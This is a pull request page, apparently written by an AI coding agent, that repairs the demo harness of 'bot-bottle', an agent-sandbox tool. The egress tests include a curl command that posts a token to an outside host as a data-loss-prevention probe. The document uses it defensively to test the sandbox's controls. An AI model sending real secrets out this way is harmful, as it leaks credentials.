Repair the demo harness and re-record the GIF #542

2026-07-27T23:41:41-04:00

didericis-claude commented

2026-07-27 23:41:41 -04:00

Closes #540.

Summary

scripts/demo-record.sh has been unrunnable since eafd1c1f (2026-06-04) deleted bot-bottle.demo.json while demo-setup.sh still copied it under set -euo pipefail. This is a repair, not a refresh — the fixtures, the launch path, the backend, and the probes all had to change before a recording was possible.

Fixtures rebuilt in the current format. scripts/demo/bottle.md and scripts/demo/agent.md replace the deleted JSON. The bottle declares the Claude provider inline rather than extends: claude, so the demo runs on a host with no claude.md bottle of its own.

Setup writes into real config, carefully. Bottles are only read from $HOME/.bot-bottle/bottles/; a bottles/ dir in CWD is ignored by design (manifest/index.py:222, PRD 0011). The old throwaway bot-bottle.json swap cannot work, so setup installs into $HOME and pairs every write with a .demo-backup. Two data-loss bugs were found and fixed against a scratch config root before this touched live config — teardown deleting the user's restored file on a second run, and setup backing up its own copy on a double run. Verified: pre-existing files survive three consecutive teardowns byte-identical, a clean install leaves nothing behind, a stale backup is refused, and double-setup still restores correctly.

Retargeted to macos-container. The Docker backend cannot launch a bottle here at all — see below.

Probes are literal shell commands, and the git probe is gone. Details below.

The Docker backend is broken, and this PR does not fix it

bot-bottle start on the Docker backend always fails with orchestrator at http://127.0.0.1:8099 did not become healthy within 45s. The orchestrator container starts fine and is healthy internally, and PortBindings is correctly 127.0.0.1:8099 — but NetworkSettings.Ports is {"8099/tcp":[]}, because the container is attached only to the --internal control network and Docker cannot forward a host port into one. Not a general daemon fault: port 8765 forwards fine on the same daemon.

orchestrator.py:94 leaves _client_network as None on the plain host-CLI path, which is what puts it on the internal network alone.

Left untouched deliberately. orchestrator.py:203 is explicit that this is a security boundary — "Control network only — agents are never on it, so they have no route to the control plane (the L3 block, not just the JWT)" — and deciding how to publish that port without weakening the L3 block is not a call to make inside a demo PR. Worth its own issue.

Why the demo looks different

--headless. The interactive path opens four selectors (bottle multiselect, name/color modal, image-mode picker, y/N preflight) and the tape drove none of them. It also lists every bottle in ~/.bot-bottle/bottles/, which would put the operator's personal bottle names into a GIF that ships in the README.
One prompt, not a conversation. --headless is one-shot by construction — the Claude provider implements it as claude -p (contrib/claude/agent_provider.py:351). There is no session to type follow-ups into, so all probes ride in on the single --prompt.
Literal shell commands. Left in English, one take had the agent substitute a placeholder ghp_FAKE... for $FAKE_TOKEN. The DLP scanner had nothing to match and gitleaks nothing to flag, so both controls reported a clean pass without ever being exercised — a far more dangerous failure than a visible crash. $FAKE_TOKEN stays unexpanded in the tape on purpose: the bottle's own shell expands it inside the sandbox, which is what makes it a real egress test.
No -o /dev/null. With the body discarded, both probes rendered as a bare 403 and the agent could not tell which control fired. The refusal text is the only thing showing that probe 3's host passed the allowlist and the body scan is what refused it.

What the recording shows

#	Probe	Result
1	`echo hello`	`hello`
2	`curl http://example.com/`	`"egress: host 'example.com' is not in the bottle's egress.routes allowlist…"` 403
3	`curl -d "token=$FAKE_TOKEN" http://example.org/dlp-probe`	`"egress DLP: GitHub token (classic) found in body"` 403

Probe 3's route sets outbound_on_match: block deliberately. The default supervise would hold the request open awaiting an operator decision for up to 300s and stall the tape.

Removed: the gitleaks probe

The demo used to push an AKIA-shaped key and watch gitleaks reject the ref. In the last run carrying it, gitleaks reported no leaks found and the gate forwarded the push — it failed only because upstream.invalid does not resolve. A recording of that reads as the gate catching a secret while showing the opposite, so the probe is out until #541 settles whether that is a real detection gap. I could not reproduce it standalone (gitleaks in the gateway image timed out at 3 minutes under both runtimes), so #541 is filed as an unverified lead.

Verifying a re-record

demo-record.sh exiting 0 does not mean the demo worked. VHS records whatever the terminal shows — including a shell syntax error — and encodes it happily. Recordings during this work exited 0 while capturing command not found, a TUI picker eating input, and a bash: syntax error. Check the frames, e.g. ffmpeg -i docs/demo.gif -vf "select='not(mod(n\,25))'" -vsync 0 /tmp/f%02d.png, and confirm all three probes report the expected refusal text.

Two tape-authoring traps have comments explaining the failure they caused, because neither is guessable: VHS does not support \" inside a double-quoted Type (use backticks), and a single apostrophe anywhere in the --prompt text ends the shell word early.

Because the probes run through a live model, this is not fully deterministic even with literal commands. Treat a re-record as something to eyeball.

Noticed, not fixed

The README's Egress route fields table is out of sync with the parser. It documents matches, auth.*, dlp.*, and git.fetch as top-level route fields, but manifest/egress.py:226 accepts only host, role, and inspect, with the rest nested under inspect and the DLP knobs named outbound_detectors / inbound_detectors / outbound_on_match. Out of scope here; worth its own issue.

Closes #540. ## Summary `scripts/demo-record.sh` has been unrunnable since `eafd1c1f` (2026-06-04) deleted `bot-bottle.demo.json` while `demo-setup.sh` still copied it under `set -euo pipefail`. This is a repair, not a refresh — the fixtures, the launch path, the backend, and the probes all had to change before a recording was possible. **Fixtures rebuilt in the current format.** `scripts/demo/bottle.md` and `scripts/demo/agent.md` replace the deleted JSON. The bottle declares the Claude provider inline rather than `extends: claude`, so the demo runs on a host with no `claude.md` bottle of its own. **Setup writes into real config, carefully.** Bottles are only read from `$HOME/.bot-bottle/bottles/`; a `bottles/` dir in CWD is ignored by design (`manifest/index.py:222`, PRD 0011). The old throwaway `bot-bottle.json` swap cannot work, so setup installs into `$HOME` and pairs every write with a `.demo-backup`. Two data-loss bugs were found and fixed against a scratch config root before this touched live config — teardown deleting the user's restored file on a second run, and setup backing up its own copy on a double run. Verified: pre-existing files survive three consecutive teardowns byte-identical, a clean install leaves nothing behind, a stale backup is refused, and double-setup still restores correctly. **Retargeted to `macos-container`.** The Docker backend cannot launch a bottle here at all — see below. **Probes are literal shell commands, and the git probe is gone.** Details below. ## The Docker backend is broken, and this PR does not fix it `bot-bottle start` on the Docker backend always fails with `orchestrator at http://127.0.0.1:8099 did not become healthy within 45s`. The orchestrator container starts fine and is healthy internally, and `PortBindings` is correctly `127.0.0.1:8099` — but `NetworkSettings.Ports` is `{"8099/tcp":[]}`, because the container is attached only to the `--internal` control network and Docker cannot forward a host port into one. Not a general daemon fault: port 8765 forwards fine on the same daemon. `orchestrator.py:94` leaves `_client_network` as `None` on the plain host-CLI path, which is what puts it on the internal network alone. Left untouched deliberately. `orchestrator.py:203` is explicit that this is a security boundary — *"Control network only — agents are never on it, so they have no route to the control plane (the L3 block, not just the JWT)"* — and deciding how to publish that port without weakening the L3 block is not a call to make inside a demo PR. Worth its own issue. ## Why the demo looks different - **`--headless`.** The interactive path opens four selectors (bottle multiselect, name/color modal, image-mode picker, `y/N` preflight) and the tape drove none of them. It also lists every bottle in `~/.bot-bottle/bottles/`, which would put the operator's personal bottle names into a GIF that ships in the README. - **One prompt, not a conversation.** `--headless` is one-shot by construction — the Claude provider implements it as `claude -p` (`contrib/claude/agent_provider.py:351`). There is no session to type follow-ups into, so all probes ride in on the single `--prompt`. - **Literal shell commands.** Left in English, one take had the agent substitute a placeholder `ghp_FAKE...` for `$FAKE_TOKEN`. The DLP scanner had nothing to match and gitleaks nothing to flag, so **both controls reported a clean pass without ever being exercised** — a far more dangerous failure than a visible crash. `$FAKE_TOKEN` stays unexpanded in the tape on purpose: the bottle's own shell expands it inside the sandbox, which is what makes it a real egress test. - **No `-o /dev/null`.** With the body discarded, both probes rendered as a bare `403` and the agent could not tell which control fired. The refusal text is the only thing showing that probe 3's host passed the allowlist and the body scan is what refused it. ## What the recording shows | # | Probe | Result | |---|---|---| | 1 | `echo hello` | `hello` | | 2 | `curl http://example.com/` | `"egress: host 'example.com' is not in the bottle's egress.routes allowlist…"` **403** | | 3 | `curl -d "token=$FAKE_TOKEN" http://example.org/dlp-probe` | `"egress DLP: GitHub token (classic) found in body"` **403** | Probe 3's route sets `outbound_on_match: block` deliberately. The default `supervise` would hold the request open awaiting an operator decision for up to 300s and stall the tape. ## Removed: the gitleaks probe The demo used to push an AKIA-shaped key and watch gitleaks reject the ref. In the last run carrying it, gitleaks reported `no leaks found` and the gate **forwarded** the push — it failed only because `upstream.invalid` does not resolve. A recording of that reads as the gate catching a secret while showing the opposite, so the probe is out until **#541** settles whether that is a real detection gap. I could not reproduce it standalone (gitleaks in the gateway image timed out at 3 minutes under both runtimes), so #541 is filed as an unverified lead. ## Verifying a re-record `demo-record.sh` exiting `0` does not mean the demo worked. VHS records whatever the terminal shows — including a shell syntax error — and encodes it happily. Recordings during this work exited `0` while capturing `command not found`, a TUI picker eating input, and a `bash: syntax error`. **Check the frames**, e.g. `ffmpeg -i docs/demo.gif -vf "select='not(mod(n\,25))'" -vsync 0 /tmp/f%02d.png`, and confirm all three probes report the expected refusal text. Two tape-authoring traps have comments explaining the failure they caused, because neither is guessable: VHS does not support `\"` inside a double-quoted `Type` (use backticks), and a single apostrophe anywhere in the `--prompt` text ends the shell word early. Because the probes run through a live model, this is not fully deterministic even with literal commands. Treat a re-record as something to eyeball. ## Noticed, not fixed The README's **Egress route fields** table is out of sync with the parser. It documents `matches`, `auth.*`, `dlp.*`, and `git.fetch` as top-level route fields, but `manifest/egress.py:226` accepts only `host`, `role`, and `inspect`, with the rest nested under `inspect` and the DLP knobs named `outbound_detectors` / `inbound_detectors` / `outbound_on_match`. Out of scope here; worth its own issue.

didericis-claude added 3 commits 2026-07-27 23:41:44 -04:00

fix: repair the demo harness for the current manifest format 8774e94f91

The demo has been unrunnable since eafd1c1f deleted bot-bottle.demo.json
as a pre-YAML-migration artifact. demo-setup.sh still copied that file
under `set -euo pipefail`, so demo.sh and demo-record.sh both exited
non-zero before launching anything.

Rebuild the fixtures in the current per-file Markdown format. Bottles
are only read from $HOME/.bot-bottle/bottles/ — manifest/index.py
ignores a bottles/ dir in CWD by design (PRD 0011) — so setup now
installs into real config and pairs every write with a .demo-backup
that teardown restores. Teardown compares content before removing, so
a second run cannot delete the user's restored original.

Point the DLP probe at the bottle's own example.org route rather than
api.anthropic.com/dlp-probe. The provider-injected anthropic route
defaults to `redact`, which would forward a scrubbed request instead of
refusing; the declared route sets outbound_on_match: block so probe 3
stays the hard 403 the demo is showing off. Left at the default
`supervise` it would instead hold the request open for up to 300s
awaiting operator approval and stall the recording.

Also drop the stale pipelock naming from the tape (egress is the
gateway's own scanner now), fix demo.sh's ./cli.py invocation, and
pre-warm Dockerfile.gateway instead of the removed Dockerfile.git-gate.

Refs #540

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>

fix: make demo setup/teardown idempotent and guard on PATH f23086171b

Two failure modes found while validating the harness against a scratch
config root:

Teardown removed $dest unconditionally before restoring the backup, so
a second run deleted the user's own file — the first run had already
restored it, and a restored original is indistinguishable from an
installed demo file except by content. Compare against the source
before removing.

Setup had the mirror-image bug: run twice without an intervening
teardown it backed up its *own* copy, and teardown then "restored"
that, leaving demo.md in the user's config permanently. Treat an
already-identical destination as a no-op.

Also fail fast when bot-bottle is not on PATH. The tape types the real
console script, so without it a recording silently captures
`command not found` instead of a bottle launching.

Refs #540

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>

fix: retarget the demo at macos-container and re-record

prd-number-check / require-numbered-prds (pull_request) Successful in 8s

Details

tracker-policy-pr / check-pr (pull_request) Successful in 12s

Details

6c939e3309

The Docker backend cannot launch a bottle on this host: the
orchestrator publishes 127.0.0.1:8099 but is attached only to the
`--internal` control network, so Docker accepts the mapping and never
establishes the forward (PortBindings set, NetworkSettings.Ports
empty). Every launch dies on `orchestrator did not become healthy`.
That is independent of the demo and left alone here, because fixing it
means touching the L3 isolation the control network exists to provide.

Pin the tape to macos-container, which launches cleanly, and drop the
Docker daemon check and image pre-warm from setup. The pre-warm is not
replaced with a `container build` equivalent: build_image() applies
--dns handling that would become a second, drifting copy in shell, and
the warm layer cache already keeps rebuilds fast. Pre-warm never kept
BuildKit off camera anyway — the launcher prints CACHED lines
regardless, so that comment was wrong when it was written.

Launch via --headless. The interactive path opens four selectors in a
row and the tape drove none of them; it also lists every bottle in
~/.bot-bottle/bottles/, putting the operator's own bottle names in a
GIF that ships in the README. --headless is one-shot by construction
(`claude -p`), so all probes ride in on a single --prompt rather than
being typed as follow-ups into a session that has already exited.

Spell the probes as literal shell commands. Left in English, one take
had the agent substitute a placeholder for $FAKE_TOKEN: the DLP
scanner had nothing to match and gitleaks found nothing to flag, so
both controls reported a clean pass without ever being exercised.
Neither curl discards the body, so the recording shows the host-filter
refusal and the DLP refusal as visibly different reasons instead of
two identical 403s.

Drop the git/gitleaks probe. In the last run carrying it, gitleaks
reported `no leaks found` on an AKIA-shaped key and the gate forwarded
the push, which failed only because upstream.invalid does not resolve.
A recording of that reads as the gate catching a secret while showing
the opposite. Tracked in #541.

Refs #540

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>

didericis merged commit 3dbfa86a5a into main

2026-07-28 17:35:37 -04:00

didericis deleted branch fix-demo-harness

2026-07-28 17:35:42 -04:00

Sign in to join this conversation.

1 Participants

Notifications

Due Date

No due date set.

Dependencies

No dependencies set.

Reference: didericis/bot-bottle#542